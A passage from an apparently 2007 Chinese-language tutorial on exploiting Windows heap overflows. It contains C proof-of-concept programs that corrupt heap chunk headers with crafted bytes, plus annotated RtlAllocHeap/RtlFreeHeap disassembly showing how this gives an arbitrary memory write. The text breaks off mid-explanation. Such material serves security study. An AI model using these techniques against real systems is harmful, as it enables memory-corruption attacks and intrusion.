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总结windows下堆溢出的三种利用方式(1)

王朝system·作者佚名  2007-08-24
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main (int argc, char *argv[])

{

char *buf1, *buf2;

char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x01x08\x00\x11\x11\x11\x11\x21\x21\x21\x21";

buf1 = (char*)malloc (32); /* 分配两块内存 */

memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

buf2 = (char*)malloc (16);

free (buf1);

free (buf2);

return 0;

}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了

下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453 8901 MOV [ECX],EAX

001B:77FCC455 894804 MOV [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一

这是ilsy提到的,看例子

main (int argc, char *argv[])

{

char *buf1, *buf2;

char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09";

buf1 = (char*)malloc (32); /* 分配两块内存 */

buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

free (buf1);

free (buf2);

return 0;

}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)

typedef struct _HEAP_ENTRY {

//

// This field gives the size of the current block in allocation

// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT

// equals the size in bytes).

//

// Except if this is part of a virtual alloc block then this

// value is the difference between the commit size in the virtual

// alloc entry and the what the user asked for.

//

USHORT Size;

//

// This field gives the size of the previous block in allocation

// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT

// equals the size of the previous block in bytes).

//

USHORT PreviousSize;

//

// This field contains the index into the segment that controls

// the memory for this block.

//

UCHAR SegmentIndex;

//

// This field contains various flag bits associated with this block.

// Currently these are:

//

// 0x01 - HEAP_ENTRY_BUSY

// 0x02 - HEAP_ENTRY_EXTRA_PRESENT

// 0x04 - HEAP_ENTRY_FILL_PATTERN

// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC

// 0x10 - HEAP_ENTRY_LAST_ENTRY

// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1

// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2

// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3

//

UCHAR Flags;

//

// This field contains the number of unused bytes at the end of this

// block that were not actually allocated. Used to compute exact

// size requested prior to rounding requested size to allocation

// granularity. Also used for tail checking purposes.

//

UCHAR UnusedBytes;

//

// Small (8 bit) tag indexes can go here.

//

UCHAR SmallTagIndex;

#if defined(_WIN64)

ULONGLONG Reserved1;

#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值

可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一

001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag

001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY

001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳

001B:77FCC834 F6C207 TEST DL,07

001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8

001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40

001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳

001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01

001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3

001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要

001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]

001B:77FCC855 85C9 TEST ECX,ECX

001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳

关键点二

001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001

001B:77FCC8A0 F6C301 TEST BL,01

001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳

001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]

001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection

001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01

001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC

001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳

关键点三

001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的

001B:77FCBB4C 89759C MOV [EBP-64],ESI

001B:77FCBB4F 8B06 MOV EAX,[ESI]

001B:77FCBB51 894598 MOV [EBP-68],EAX

001B:77FCBB54 8B7604 MOV ESI,[ESI+04]

001B:77FCBB57 897594 MOV [EBP-6C],ESI

001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

 
 
 
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